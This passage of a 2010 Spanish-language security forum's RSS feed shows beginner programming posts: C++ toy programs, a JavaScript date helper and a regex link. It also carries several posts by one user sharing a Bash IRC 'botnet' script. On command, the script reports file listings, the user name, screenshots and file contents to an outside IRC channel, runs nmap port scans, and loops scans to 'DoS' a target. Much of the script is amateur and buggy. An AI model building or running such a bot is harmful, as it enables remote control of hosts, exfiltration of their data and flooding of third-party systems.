<span class="kw1">else</span> <span class="br0">&#123;</span><span class="kw3">cout</span> <span class="sy1">&lt;&lt;</span> <span class="st0">&quot;Ingrese un numero mas chico&quot;</span> <span class="sy1">&lt;&lt;</span> endl<span class="sy4">;</span><span class="br0">&#125;</span>
	<span class="br0">&#125;</span>
        <span class="kw1">else</span> <span class="kw1">if</span> <span class="br0">&#40;</span>option <span class="sy1">==</span> <span class="nu0">2</span><span class="br0">&#41;</span><span class="br0">&#123;</span>
	<span class="kw4">int</span> descifrado<span class="sy4">;</span>
	<span class="kw3">cout</span> <span class="sy1">&lt;&lt;</span> <span class="st0">&quot;Ingrese un numero para ser desencriptado: &quot;</span><span class="sy4">;</span>
	<span class="kw3">cin</span> <span class="sy1">&gt;&gt;</span> descifrado<span class="sy4">;</span>
	<span class="kw1">if</span> <span class="br0">&#40;</span>descifrado <span class="sy1">&lt;</span> <span class="nu0">95423154</span><span class="br0">&#41;</span><span class="br0">&#123;</span>
	<span class="kw4">int</span> decodef <span class="sy1">=</span> <span class="br0">&#40;</span><span class="kw4">int</span><span class="br0">&#41;</span>descifrado <span class="sy2">/</span> <span class="nu0">23</span><span class="sy4">;</span>
	<span class="kw3">cout</span> <span class="sy1">&lt;&lt;</span> <span class="st0">&quot;Desencriptado: &quot;</span><span class="sy4">;</span>
	<span class="kw3">cout</span> <span class="sy1">&lt;&lt;</span> decodef <span class="sy1">&lt;&lt;</span> endl<span class="sy4">;</span>
	<span class="kw1">if</span> <span class="br0">&#40;</span>decodef <span class="sy1">==</span> <span class="nu0">0</span><span class="br0">&#41;</span><span class="br0">&#123;</span><span class="kw3">cout</span> <span class="sy1">&lt;&lt;</span> <span class="st0">&quot;[-]Posible error&quot;</span> <span class="sy1">&lt;&lt;</span> endl<span class="sy4">;</span><span class="br0">&#125;</span><span class="br0">&#125;</span>
	<span class="br0">&#125;</span>
	<span class="kw1">else</span> <span class="br0">&#123;</span>
		<span class="kw3">cout</span> <span class="sy1">&lt;&lt;</span> <span class="st0">&quot;Opcion Inexistente&quot;</span> <span class="sy1">&lt;&lt;</span> endl<span class="sy4">;</span>
	<span class="br0">&#125;</span>
&nbsp;
<span class="br0">&#125;</span></pre>]]></description>
<dc:creator>xacks</dc:creator>
<category>Programacion General</category><pubDate>Tue, 10 Aug 2010 11:08:09 -0400</pubDate></item>
<item>
<guid>https://foro.undersecurity.net/read.php?19,7745,7745#msg-7745</guid>
<title>Una calculadora desente! (no replies)</title><link>https://foro.undersecurity.net/read.php?19,7745,7745#msg-7745</link><description><![CDATA[Leyendo el libro de Adrian Paenza Matematica adonde estas?<br />Me inventé esto<br /><pre class="cpp bbcode_geshi"><div class="head">Language: C++</div><span class="co2">#include &lt;iostream&gt;</span>
<span class="kw2">using</span> <span class="kw2">namespace</span> std<span class="sy4">;</span>
<span class="kw4">int</span> maximosize<span class="sy1">=</span><span class="nu0">1000</span><span class="sy4">;</span>
<span class="kw4">int</span> yeah<span class="br0">&#40;</span><span class="kw4">int</span> , <span class="kw4">int</span> <span class="br0">&#41;</span><span class="sy4">;</span>
<span class="kw4">int</span> main <span class="br0">&#40;</span><span class="br0">&#41;</span><span class="br0">&#123;</span>
	<span class="kw4">int</span> numero1 ,numero2, resultado<span class="sy4">;</span>
	<span class="kw3">cout</span> <span class="sy1">&lt;&lt;</span> <span class="st0">&quot;Ingrese un número para dividirlo&quot;</span> <span class="sy1">&lt;&lt;</span> endl<span class="sy4">;</span>
	<span class="kw3">cin</span> <span class="sy1">&gt;&gt;</span> numero1<span class="sy4">;</span>
	<span class="kw3">cout</span> <span class="sy1">&lt;&lt;</span> <span class="st0">&quot;Ingrese un numero para dividir&quot;</span> <span class="sy1">&lt;&lt;</span> endl<span class="sy4">;</span>
	<span class="kw3">cin</span> <span class="sy1">&gt;&gt;</span> numero2<span class="sy4">;</span>
	resultado <span class="sy1">=</span> yeah<span class="br0">&#40;</span>numero1,numero2<span class="br0">&#41;</span><span class="sy4">;</span>
	<span class="kw1">if</span> <span class="br0">&#40;</span><span class="sy3">!</span>resultado<span class="br0">&#41;</span><span class="br0">&#123;</span><span class="kw3">cout</span> <span class="sy1">&lt;&lt;</span> <span class="st0">&quot;Saliendo&quot;</span> <span class="sy1">&lt;&lt;</span> endl<span class="sy4">;</span><span class="br0">&#125;</span>
	<span class="kw1">else</span><span class="br0">&#123;</span>
	<span class="kw3">cout</span> <span class="sy1">&lt;&lt;</span> <span class="st0">&quot;Resultado de la divicion :<span class="es1">\t</span>&quot;</span> <span class="sy1">&lt;&lt;</span> resultado <span class="sy1">&lt;&lt;</span> endl<span class="sy4">;</span>
	<span class="br0">&#125;</span>
	<span class="br0">&#125;</span>
<span class="kw4">int</span> yeah<span class="br0">&#40;</span><span class="kw4">int</span> numero1,<span class="kw4">int</span> numero2<span class="br0">&#41;</span><span class="br0">&#123;</span>
	<span class="kw1">if</span> <span class="br0">&#40;</span>numero2<span class="sy1">==</span><span class="nu0">0</span><span class="br0">&#41;</span><span class="br0">&#123;</span>
		<span class="kw3">cout</span> <span class="sy1">&lt;&lt;</span> <span class="st0">&quot;No se puede dividir por 0&quot;</span> <span class="sy1">&lt;&lt;</span> endl<span class="sy4">;</span>
		<span class="kw1">return</span><span class="br0">&#40;</span><span class="nu0">0</span><span class="br0">&#41;</span><span class="sy4">;</span>
	<span class="br0">&#125;</span>
	<span class="kw1">else</span> <span class="br0">&#123;</span>
		<span class="kw1">if</span> <span class="br0">&#40;</span>numero1<span class="sy1">&gt;</span>maximosize <span class="sy3">||</span> numero2<span class="sy1">&gt;</span>maximosize<span class="br0">&#41;</span><span class="br0">&#123;</span><span class="kw3">cout</span> <span class="sy1">&lt;&lt;</span> <span class="st0">&quot;Ponga un numero mas bajo&quot;</span> <span class="sy1">&lt;&lt;</span> endl<span class="sy4">;</span>
		<span class="kw1">return</span> <span class="br0">&#40;</span><span class="nu0">0</span><span class="br0">&#41;</span><span class="sy4">;</span><span class="br0">&#125;</span>
		<span class="kw1">return</span> <span class="br0">&#40;</span>numero1<span class="sy2">/</span>numero2<span class="br0">&#41;</span><span class="sy4">;</span>
	<span class="br0">&#125;</span>
<span class="br0">&#125;</span></pre>]]></description>
<dc:creator>xacks</dc:creator>
<category>Programacion General</category><pubDate>Fri, 06 Aug 2010 10:15:19 -0400</pubDate></item>
<item>
<guid>https://foro.undersecurity.net/read.php?19,7699,7699#msg-7699</guid>
<title>Regex cheat sheet (no replies)</title><link>https://foro.undersecurity.net/read.php?19,7699,7699#msg-7699</link><description><![CDATA[<a href="http://www.bitcetera.com/page_attachments/0000/0030/regex_in_a_nutshell.pdf" target="_blank" rel="nofollow" >PDF</a><br /><br /><a href="http://www.bitcetera.com/en/techblog/2008/04/01/regex-in-a-nutshell/" target="_blank" rel="nofollow" >(fuente)</a>]]></description>
<dc:creator>seth</dc:creator>
<category>Programacion General</category><pubDate>Sat, 31 Jul 2010 05:35:02 -0400</pubDate></item>
<item>
<guid>https://foro.undersecurity.net/read.php?19,7676,7676#msg-7676</guid>
<title>[C++]Usando la mem free store (no replies)</title><link>https://foro.undersecurity.net/read.php?19,7676,7676#msg-7676</link><description><![CDATA[<pre class="cpp bbcode_geshi"><div class="head">Language: C++</div><span class="co2">#include &lt;iostream&gt;</span>
<span class="kw2">using</span> <span class="kw2">namespace</span> std<span class="sy4">;</span>
<span class="kw2">class</span> Perro <span class="br0">&#123;</span>
        <span class="kw2">public</span><span class="sy4">:</span>
        Perro<span class="br0">&#40;</span><span class="br0">&#41;</span><span class="sy4">;</span>
        ~Perro<span class="br0">&#40;</span><span class="br0">&#41;</span><span class="sy4">;</span>
        <span class="kw4">int</span> obteneredad<span class="br0">&#40;</span><span class="br0">&#41;</span> <span class="br0">&#123;</span><span class="kw1">return</span> <span class="sy2">*</span>suedad<span class="sy4">;</span><span class="br0">&#125;</span>
        <span class="kw4">void</span> configuraredad<span class="br0">&#40;</span><span class="kw4">int</span> edad<span class="br0">&#41;</span> <span class="br0">&#123;</span><span class="sy2">*</span>suedad<span class="sy1">=</span>edad<span class="sy4">;</span><span class="br0">&#125;</span>
        <span class="kw4">void</span> Relinchar<span class="br0">&#40;</span><span class="br0">&#41;</span> <span class="br0">&#123;</span><span class="kw3">cout</span> <span class="sy1">&lt;&lt;</span> <span class="st0">&quot;jjijiji jijiji<span class="es1">\n</span>&quot;</span><span class="sy4">;</span><span class="br0">&#125;</span>
        <span class="kw4">int</span> obtenerpeso<span class="br0">&#40;</span><span class="br0">&#41;</span> <span class="br0">&#123;</span><span class="kw1">return</span> <span class="sy2">*</span>supeso<span class="sy4">;</span><span class="br0">&#125;</span>
        <span class="kw4">void</span> configurarpeso<span class="br0">&#40;</span><span class="kw4">int</span> peso<span class="br0">&#41;</span> <span class="br0">&#123;</span><span class="sy2">*</span>supeso<span class="sy1">=</span>peso<span class="sy4">;</span><span class="br0">&#125;</span>
        <span class="kw2">private</span><span class="sy4">:</span>
        <span class="kw4">int</span> <span class="sy2">*</span>suedad<span class="sy4">;</span>
        <span class="kw4">int</span> <span class="sy2">*</span>supeso<span class="sy4">;</span>
<span class="br0">&#125;</span><span class="sy4">;</span>
Perro<span class="sy4">::</span><span class="me2">Perro</span><span class="br0">&#40;</span><span class="br0">&#41;</span><span class="br0">&#123;</span>
        suedad<span class="sy1">=</span><span class="kw3">new</span> <span class="kw4">int</span> <span class="br0">&#40;</span><span class="nu0">1</span><span class="br0">&#41;</span><span class="sy4">;</span>
        supeso<span class="sy1">=</span><span class="kw3">new</span> <span class="kw4">int</span> <span class="br0">&#40;</span><span class="nu0">13</span><span class="br0">&#41;</span><span class="sy4">;</span>
<span class="br0">&#125;</span>
Perro<span class="sy4">::</span>~Perro<span class="br0">&#40;</span><span class="br0">&#41;</span><span class="br0">&#123;</span>
        <span class="kw3">delete</span> suedad<span class="sy4">;</span>
        <span class="kw3">delete</span> supeso<span class="sy4">;</span>
<span class="br0">&#125;</span>
<span class="kw4">int</span> main <span class="br0">&#40;</span><span class="br0">&#41;</span><span class="br0">&#123;</span>
        Perro <span class="sy2">*</span> Cami <span class="sy1">=</span> <span class="kw3">new</span> Perro<span class="sy4">;</span>
        <span class="kw3">cout</span> <span class="sy1">&lt;&lt;</span> <span class="st0">&quot;Cami tiene la edad de &quot;</span> <span class="sy1">&lt;&lt;</span> Cami<span class="sy2">-</span><span class="sy1">&gt;</span>obteneredad<span class="br0">&#40;</span><span class="br0">&#41;</span>  <span class="sy1">&lt;&lt;</span> <span class="st0">&quot;kilos&quot;</span> <span class="sy1">&lt;&lt;</span> endl<span class="sy4">;</span>
        <span class="kw3">cout</span> <span class="sy1">&lt;&lt;</span> <span class="st0">&quot;Cami pesa &quot;</span> <span class="sy1">&lt;&lt;</span> Cami<span class="sy2">-</span><span class="sy1">&gt;</span>obtenerpeso<span class="br0">&#40;</span><span class="br0">&#41;</span>  <span class="sy1">&lt;&lt;</span> <span class="st0">&quot;kilos&quot;</span> <span class="sy1">&lt;&lt;</span> endl<span class="sy4">;</span>
        Cami<span class="sy2">-</span><span class="sy1">&gt;</span>configuraredad<span class="br0">&#40;</span><span class="nu0">2</span><span class="br0">&#41;</span><span class="sy4">;</span>
        <span class="kw3">cout</span> <span class="sy1">&lt;&lt;</span> <span class="st0">&quot;Cami ya pesa &quot;</span> <span class="sy1">&lt;&lt;</span> Cami<span class="sy2">-</span><span class="sy1">&gt;</span>obteneredad<span class="br0">&#40;</span><span class="br0">&#41;</span>  <span class="sy1">&lt;&lt;</span> <span class="st0">&quot;kilos&quot;</span> <span class="sy1">&lt;&lt;</span> endl<span class="sy4">;</span>
        Cami<span class="sy2">-</span><span class="sy1">&gt;</span>configurarpeso<span class="br0">&#40;</span><span class="nu0">23</span><span class="br0">&#41;</span><span class="sy4">;</span>
        <span class="kw3">cout</span> <span class="sy1">&lt;&lt;</span> <span class="st0">&quot;Cami ya ha crecido de todas formas! y ahora anda pesando &quot;</span> <span class="sy1">&lt;&lt;</span> Cami<span class="sy2">-</span><span class="sy1">&gt;</span>obteneredad<span class="br0">&#40;</span><span class="br0">&#41;</span> <span class="sy1">&lt;&lt;</span> <span class="st0">&quot;kilos&quot;</span> <span class="sy1">&lt;&lt;</span> endl<span class="sy4">;</span>
        <span class="kw1">return</span> <span class="nu0">0</span><span class="sy4">;</span>
<span class="br0">&#125;</span></pre>]]></description>
<dc:creator>xacks</dc:creator>
<category>Programacion General</category><pubDate>Sat, 24 Jul 2010 17:51:32 -0400</pubDate></item>
<item>
<guid>https://foro.undersecurity.net/read.php?19,7672,7672#msg-7672</guid>
<title>[JavaScript] función addtime() (no replies)</title><link>https://foro.undersecurity.net/read.php?19,7672,7672#msg-7672</link><description><![CDATA[Sirve para añadir x segundos, minutos, horas, días, meses o años a la fecha actual. Viene bien para el seteo de cookies:<br /><br /><pre class="javascript bbcode_geshi"><div class="head">Language: Javascript</div>function addTime(option, num)
{
var time = new Date();
var num = parseInt(num);
switch (option)
{
	case &quot;second&quot;:
	num = num * 1000;
	break;
	case &quot;minute&quot;:
	num = num * 60 * 1000;
	break;
	case &quot;hour&quot;:
	num = num * 60 * 60 * 1000;
	break;
	case &quot;day&quot;:
	num = num * 24 * 60 * 60 * 1000;
	break;
	case &quot;month&quot;:
	var month = time.getMonth() + num;
	time.setMonth(month);
	num = 0;
	break;
	case &quot;year&quot;:
	num = num * 365 * 24 * 60 * 60 * 1000;
	break;
}
var milisec = parseInt(time/1) + num;
time.setTime(milisec);
return time; 
}</pre><br />Ejemplo:<br /><br /><blockquote class="bbcode"><div><small>Quote<br/></small><strong></strong><br/>alert(addTime(&quot;month&quot;,&quot;4&quot;));<br />alert(addTime(&quot;hour&quot;,&quot;2&quot;).toGMTString());</div></blockquote>]]></description>
<dc:creator>SH4V</dc:creator>
<category>Programacion General</category><pubDate>Fri, 23 Jul 2010 09:57:37 -0400</pubDate></item>
<item>
<guid>https://foro.undersecurity.net/read.php?19,7664,7664#msg-7664</guid>
<title>Dibuja Rectangulos C++ [POO] (no replies)</title><link>https://foro.undersecurity.net/read.php?19,7664,7664#msg-7664</link><description><![CDATA[<pre class="cpp bbcode_geshi"><div class="head">Language: C++</div><span class="co2">#include &lt;iostream&gt;</span>
<span class="kw2">using</span> <span class="kw2">namespace</span> std<span class="sy4">;</span>
<span class="kw2">class</span> Datos <span class="br0">&#123;</span>
	<span class="kw2">public</span><span class="sy4">:</span>
	Datos<span class="br0">&#40;</span><span class="kw4">int</span> numero1, <span class="kw4">int</span> numero2<span class="br0">&#41;</span><span class="sy4">;</span>
	<span class="kw4">int</span> Obtener1Dato<span class="br0">&#40;</span><span class="br0">&#41;</span> <span class="br0">&#123;</span><span class="kw1">return</span> Datos1<span class="sy4">;</span><span class="br0">&#125;</span>
	<span class="kw4">int</span> Obtener2Dato<span class="br0">&#40;</span><span class="br0">&#41;</span> <span class="br0">&#123;</span><span class="kw1">return</span> Datos2<span class="sy4">;</span><span class="br0">&#125;</span>
	<span class="kw4">void</span> ConfigurarDatos<span class="br0">&#40;</span><span class="kw4">int</span> xxx, <span class="kw4">int</span> yyy<span class="br0">&#41;</span> <span class="br0">&#123;</span>Datos1 <span class="sy1">=</span> xxx<span class="sy4">;</span> Datos2 <span class="sy1">=</span> yyy<span class="sy4">;</span><span class="br0">&#125;</span>
	<span class="kw2">private</span><span class="sy4">:</span>
	<span class="kw4">int</span> Datos1<span class="sy4">;</span>
	<span class="kw4">int</span> Datos2<span class="sy4">;</span>
<span class="br0">&#125;</span><span class="sy4">;</span>
Datos<span class="sy4">::</span><span class="me2">Datos</span><span class="br0">&#40;</span><span class="kw4">int</span> numero1, <span class="kw4">int</span> numero2<span class="br0">&#41;</span><span class="br0">&#123;</span>
	Datos1 <span class="sy1">=</span> numero1<span class="sy4">;</span>
	Datos2 <span class="sy1">=</span> numero2<span class="sy4">;</span>
<span class="br0">&#125;</span>
<span class="kw4">int</span> main <span class="br0">&#40;</span><span class="br0">&#41;</span>
<span class="br0">&#123;</span>
	Datos thedate<span class="br0">&#40;</span><span class="nu0">30</span>,<span class="nu0">5</span><span class="br0">&#41;</span><span class="sy4">;</span>
	<span class="kw4">int</span> alto <span class="sy1">=</span> thedate.<span class="me1">Obtener2Dato</span><span class="br0">&#40;</span><span class="br0">&#41;</span><span class="sy4">;</span>
	<span class="kw4">int</span> ancho <span class="sy1">=</span> thedate.<span class="me1">Obtener1Dato</span><span class="br0">&#40;</span><span class="br0">&#41;</span><span class="sy4">;</span>
    <span class="kw1">for</span> <span class="br0">&#40;</span><span class="kw4">int</span> i <span class="sy1">=</span> <span class="nu0">0</span><span class="sy4">;</span> i<span class="sy1">&lt;</span>alto<span class="sy4">;</span> i<span class="sy2">++</span><span class="br0">&#41;</span>
    <span class="br0">&#123;</span>
      <span class="kw1">for</span> <span class="br0">&#40;</span><span class="kw4">int</span> j <span class="sy1">=</span> <span class="nu0">0</span><span class="sy4">;</span> j<span class="sy1">&lt;</span> ancho<span class="sy4">;</span> j<span class="sy2">++</span><span class="br0">&#41;</span>
         <span class="kw3">cout</span> <span class="sy1">&lt;&lt;</span> <span class="st0">&quot;*&quot;</span><span class="sy4">;</span>
      <span class="kw3">cout</span> <span class="sy1">&lt;&lt;</span> endl<span class="sy4">;</span>
    <span class="br0">&#125;</span>
    <span class="kw4">int</span> xxx<span class="sy4">;</span>
    <span class="kw3">cin</span> <span class="sy1">&gt;&gt;</span> xxx<span class="sy4">;</span>
    <span class="kw4">int</span> yyy<span class="sy4">;</span>
    <span class="kw3">cin</span> <span class="sy1">&gt;&gt;</span> yyy<span class="sy4">;</span>
    thedate.<span class="me1">ConfigurarDatos</span><span class="br0">&#40;</span>xxx,yyy<span class="br0">&#41;</span><span class="sy4">;</span>
        <span class="kw1">for</span> <span class="br0">&#40;</span><span class="kw4">int</span> ix <span class="sy1">=</span> <span class="nu0">0</span><span class="sy4">;</span> ix<span class="sy1">&lt;</span>yyy<span class="sy4">;</span> ix<span class="sy2">++</span><span class="br0">&#41;</span>
    <span class="br0">&#123;</span>
      <span class="kw1">for</span> <span class="br0">&#40;</span><span class="kw4">int</span> jx <span class="sy1">=</span> <span class="nu0">0</span><span class="sy4">;</span> jx<span class="sy1">&lt;</span> xxx<span class="sy4">;</span> jx<span class="sy2">++</span><span class="br0">&#41;</span>
         <span class="kw3">cout</span> <span class="sy1">&lt;&lt;</span> <span class="st0">&quot;*&quot;</span><span class="sy4">;</span>
      <span class="kw3">cout</span> <span class="sy1">&lt;&lt;</span> endl<span class="sy4">;</span>
    <span class="br0">&#125;</span>
<span class="kw1">return</span> <span class="nu0">0</span><span class="sy4">;</span>
<span class="br0">&#125;</span>
<span class="br0">&#91;</span><span class="sy2">/</span>code<span class="sy1">=</span><span class="st0">&quot;cpp&quot;</span><span class="br0">&#93;</span></pre>]]></description>
<dc:creator>xacks</dc:creator>
<category>Programacion General</category><pubDate>Wed, 21 Jul 2010 13:13:31 -0400</pubDate></item>
<item>
<guid>https://foro.undersecurity.net/read.php?19,7578,7578#msg-7578</guid>
<title>BotNet [No enter ] (1 reply)</title><link>https://foro.undersecurity.net/read.php?19,7578,7578#msg-7578</link><description><![CDATA[<pre class="bbcode">SERVER=${1:-Irc.ircnode.com}
CHANNEL=${2:-#undersec}
echo &quot;nick sl4ck&quot; &gt; shellbot.input
echo &quot;user username +iw ircbot :$0&quot; &gt;&gt; shellbot.input
echo &quot;join $CHANNEL&quot; &gt;&gt; shellbot.input

tail -f shellbot.input | telnet $SERVER 6667 | \
   while true
   do read LINE || break

      echo $LINE
if echo $LINE | egrep &quot;PING :&quot; &amp;&gt; /dev/null 
then
utilix=`echo $LINE | cut -d&quot; &quot; -f2`  
echo &quot;PONG $utilix&quot;
fi
      if echo $LINE | egrep &quot;sl4ck: ping$&quot; &amp;&gt; /dev/null
      then echo &quot;PRIVMSG $CHANNEL :pong&quot; &gt;&gt; shellbot.input
echo &quot;PONG 200.82.113.22 ircnode.com&quot; &gt;&gt; shellbot.input
      fi

      if echo $LINE | egrep &quot;sl4ck: hi$&quot; &amp;&gt; /dev/null
      then echo &quot;PRIVMSG $CHANNEL :hola amo&quot; &gt;&gt; shellbot.input
      fi

      if echo $LINE | egrep &quot;&gt;&gt;sl4ck: quien se la come&quot; &amp;&gt; /dev/null
      then echo &quot;PRIVMSG $CHANNEL :Alemania amo&quot; &gt;&gt; shellbot.input
      fi
      if echo $LINE | egrep &quot;sl4ck: moikano_is_g3y$&quot; &amp;&gt; /dev/null
      then echo &quot;PRIVMSG $CHANNEL :si amo le vi haciendo cositas&quot; &gt;&gt; shellbot.input
      fi
      if echo $LINE | egrep &quot;sl4ck: no_es_una_pregunta$&quot; &amp;&gt; /dev/null
      then echo &quot;PRIVMSG $CHANNEL :perdon amo&quot; &gt;&gt; shellbot.input
      fi
      if echo $LINE | egrep &quot;sl4ck: help$&quot; &amp;&gt; /dev/null
      then echo &quot;PRIVMSG $CHANNEL :Consulta a OSI hahaha &quot; &gt;&gt; shellbot.input
      fi
if echo $LINE | egrep &quot;&gt;&gt;sl4ck: pingweb&quot; &amp;&gt; /dev/null 
then 
WEB=`echo $LINE | cut -d&quot; &quot; -f6`  
echo &quot;haciendo ping a&quot; $WEB 
TOTAL=`ping -c 1 $WEB`
echo &quot;PRIVMSG $CHANNEL :$TOTAL&quot; &gt;&gt; shellbot.input
fi
if echo $LINE | egrep &quot;&gt;&gt;sl4ck: hostweb&quot; &amp;&gt; /dev/null 
then 
WEB=`echo $LINE | cut -d&quot; &quot; -f6`  
echo &quot;haciendo ping a&quot; $WEB 
TOTAL=`host $WEB`
echo &quot;PRIVMSG $CHANNEL :$TOTAL&quot; &gt;&gt; shellbot.input
fi
if echo $LINE | egrep &quot;&gt;&gt;sl4ck: ls&quot; &amp;&gt; /dev/null
then 
call=`ls`
for linex in $call; do echo &quot;privmsg $CHANNEL :|$linex|&quot; &gt;&gt; shellbot.input ; done
fi
if echo $LINE | egrep &quot;&gt;&gt;sl4ck: who&quot; &amp;&gt; /dev/null
then 
call=`whoami`
for linex in $call; do echo &quot;privmsg $CHANNEL :|$linex|&quot; &gt;&gt; shellbot.input ; done
fi
if echo $LINE | egrep &quot;&gt;&gt;sl4ck: screen&quot; &amp;&gt; /dev/null
then
echo &quot;PRIVMSG $CHANNEL :Procesando pantallazo &quot; &gt;&gt; shellbot.input
fecha=$(date  +%y%m%d%H%M%S); import -snaps 1 -pause 5 -window root $HOME/$fecha.gif
echo &quot;PRIVMSG $CHANNEL :|Listo| &quot; &gt;&gt; shellbot.input
fi
if echo $LINE | egrep &quot;&gt;&gt;sl4ck: md5sum&quot; &amp;&gt; /dev/null 
then 
WEB=`echo $LINE | cut -d&quot; &quot; -f6`  
echo &quot;haciendo ping a&quot; $WEB 
TOTAL=`md5sum $WEB`
echo &quot;PRIVMSG $CHANNEL :$TOTAL&quot; &gt;&gt; shellbot.input
fi
if echo $LINE | egrep &quot;&gt;&gt;sl4ck: call&quot; &amp;&gt; /dev/null 
then 
call2=`echo $LINE | cut -d&quot; &quot; -f6`  
echo &quot;leyendo&quot; $call2
WEB2=`cat $call2` 
while read sada
do
echo &quot;privmsg $CHANNEL :|$WEB2|&quot; &gt;&gt; shellbot.input

done &lt; $WEB2
fi
if echo $LINE | egrep &quot;&gt;&gt;sl4ck: dosing&quot; &amp;&gt; /dev/null 
then 
WEB23=`echo $LINE | cut -d&quot; &quot; -f6`  
echo &quot;doseando a &quot; $WEB 
echo &quot;PRIVMSG $CHANNEL :[*]Esto puede tomar 1 Hora&quot; &gt;&gt; shellbot.input
echo &quot;PRIVMSG $CHANNEL :[+]Wait&quot; &gt;&gt; shellbot.input
for i in {1..100}
do
nmap -sV $WEB23
done
echo &quot;PRIVMSG $CHANNEL :+Dosing Complete!&quot; &gt;&gt; shellbot.input
fi
if echo $LINE | egrep &quot;&gt;&gt;sl4ck: portscanner&quot; &amp;&gt; /dev/null 
then
utili=`echo $LINE | cut -d&quot; &quot; -f6`  
echo &quot;Port Scanner: &quot; $utili 
echo `nmap -sV $utili` &gt;&gt; shellscan.input
while read linexx; do echo -e &quot;PRIVMSG $CHANNEL :$linexx\n&quot; &gt;&gt; shellbot.input ; done &lt; shellscan.input
rm shellscan.input
fi
done</pre><br />Me pase todo el dia tratando que entre pero no entra al ircnode , porque a los otros servers si entra pero bueno si alguien<br />tiene la respuesta , que me ayudei un poquitin]]></description>
<dc:creator>xacks</dc:creator>
<category>Programacion General</category><pubDate>Sun, 11 Jul 2010 01:16:46 -0400</pubDate></item>
<item>
<guid>https://foro.undersecurity.net/read.php?19,7546,7546#msg-7546</guid>
<title>Botnet en Bash (1 reply)</title><link>https://foro.undersecurity.net/read.php?19,7546,7546#msg-7546</link><description><![CDATA[Hi , estoy haciendo una botnet quiero sacar pantalla pero tengo un error ;<br /><pre class="bbcode">if echo $LINE | egrep &quot;&gt;&gt;sl4ck: screen&quot; &amp;&gt; /dev/null
then 
call=`whoami`
elif echo $call | egrep &quot;root&quot;] &amp;&gt; /dev/null
then 
call=`whoami`
echo &quot;privmsg $CHANNEL : Procesando pantallazo $i&quot; &gt;&gt; shellbot.inuput
fecha=$(date  +%y%m%d%H%M%S); import -snaps 1 -pause 5 -window $call /home/$fecha.gif
echo &quot;privmsg $CHANNEL : |Listo|&quot;&gt;&gt; shellbot.input
else
call=`whoami`
echo &quot;privmsg $CHANNEL : Procesando pantallazo $i&quot; &gt;&gt; shellbot.inuput
fecha=$(date  +%y%m%d%H%M%S); import -snaps 1 -pause 5 -window $call /home/$call/Escritorio/$fecha.gif
echo &quot;privmsg $CHANNEL : |Listo| $call&quot;&gt;&gt; shellbot.input
fi
done</pre><br />Y cuando lo pruebo;<br />root@10:/home/osiunder/bash# bash funcirc.sh<br />Trying 69.64.59.194...<br />import: unable to open image `/home/root/Escritorio/100708101954.gif': No such file or directory @ blob.c/OpenBlob/2489.<br />Connected to Irc.Red-Latina.Org.<br />^CConnection closed by foreign host.<br /><br />El tema es que no cumple con la condicion que seria que si yo digo screen recien tiene que cumplir esa condiccion , y siempre toma else no toma el elsif]]></description>
<dc:creator>xacks</dc:creator>
<category>Programacion General</category><pubDate>Thu, 08 Jul 2010 10:26:39 -0400</pubDate></item>
<item>
<guid>https://foro.undersecurity.net/read.php?19,7536,7536#msg-7536</guid>
<title>[ME RINDO] BOT IRC (1 reply)</title><link>https://foro.undersecurity.net/read.php?19,7536,7536#msg-7536</link><description><![CDATA[<pre class="bbcode">NICK=osi
yes=kl
SERVER=${1:-Irc.Red-Latina.Org}
CHANNEL=${2:-#undersec}

echo &quot;nick sl4ck&quot; &gt; shellbot.input
echo &quot;user mierdakcia localhost localhost :mierda&quot; &gt;&gt; shellbot.input
echo &quot;JOIN $CHANNEL&quot; &gt;&gt; shellbot.input


tail -f shellbot.input | telnet $SERVER 6667 | \
   while true
   do read LINE || break

      echo $LINE
      if echo $LINE | egrep &quot;sl4ck: ping$&quot; &amp;&gt; /dev/null
      then echo &quot;PRIVMSG $CHANNEL :pong&quot; &gt;&gt; shellbot.input
      fi

      if echo $LINE | egrep &quot;sl4ck: hi$&quot; &amp;&gt; /dev/null
      then echo &quot;PRIVMSG $CHANNEL :hola amo&quot; &gt;&gt; shellbot.input
      fi

      if echo $LINE | egrep &quot;sl4ck: quien_se_la_come$&quot; &amp;&gt; /dev/null
      then echo &quot;PRIVMSG $CHANNEL :Alemania amo&quot; &gt;&gt; shellbot.input
      fi
      if echo $LINE | egrep &quot;sl4ck: moikano_is_g3y$&quot; &amp;&gt; /dev/null
      then echo &quot;PRIVMSG $CHANNEL :si amo le vi haciendo cositas&quot; &gt;&gt; shellbot.input
      fi
      if echo $LINE | egrep &quot;sl4ck: no_es_una_pregunta$&quot; &amp;&gt; /dev/null
      then echo &quot;PRIVMSG $CHANNEL :perdon amo&quot; &gt;&gt; shellbot.input
      fi
      if echo $LINE | egrep &quot;&gt;&gt;sl4ck: pingweb$&quot; &amp;&gt; /dev/null
then tail -c +175 shellhost.input | \
read NOMBRE || break 
echo $NOMBRE
else if echo $NOMBRE | egrep &quot;sl4ck: pingweb&quot; &amp;&gt; /dev/null
then host &quot;$NOMBRE&quot; &gt;&gt; shellhost.input
for NOMBRE in $(cat shellhost.input); do echo &quot;PRIVMSG $CHANNEL :$NOMBRE&quot; &gt;&gt; shellbot.input ; done
fi
done</pre><br />Mi intencion era que lea la ultima palabra haga el host y lo guarde en un archivo para despues ser mostrado en el channel pero<br />siempre tengo que especificar la variable , no puedo hacer para que el usuario establesca ese valor de la variable :(<br /><br />A si funciona;<br /><pre class="bbcode">NICK=osi
yes=kl
SERVER=${1:-Irc.Red-Latina.Org}
CHANNEL=${2:-#undersec}

echo &quot;nick sl4ck&quot; &gt; shellbot.input
echo &quot;user mierdakcia localhost localhost :mierda&quot; &gt;&gt; shellbot.input
echo &quot;JOIN $CHANNEL&quot; &gt;&gt; shellbot.input


tail -f shellbot.input | telnet $SERVER 6667 | \
   while true
   do read LINE || break

      echo $LINE
      if echo $LINE | egrep &quot;sl4ck: ping$&quot; &amp;&gt; /dev/null
      then echo &quot;PRIVMSG $CHANNEL :pong&quot; &gt;&gt; shellbot.input
      fi

      if echo $LINE | egrep &quot;sl4ck: hi$&quot; &amp;&gt; /dev/null
      then echo &quot;PRIVMSG $CHANNEL :hola amo&quot; &gt;&gt; shellbot.input
      fi

      if echo $LINE | egrep &quot;sl4ck: quien_se_la_come$&quot; &amp;&gt; /dev/null
      then echo &quot;PRIVMSG $CHANNEL :Alemania amo&quot; &gt;&gt; shellbot.input
      fi
      if echo $LINE | egrep &quot;sl4ck: moikano_is_g3y$&quot; &amp;&gt; /dev/null
      then echo &quot;PRIVMSG $CHANNEL :si amo le vi haciendo cositas&quot; &gt;&gt; shellbot.input
      fi
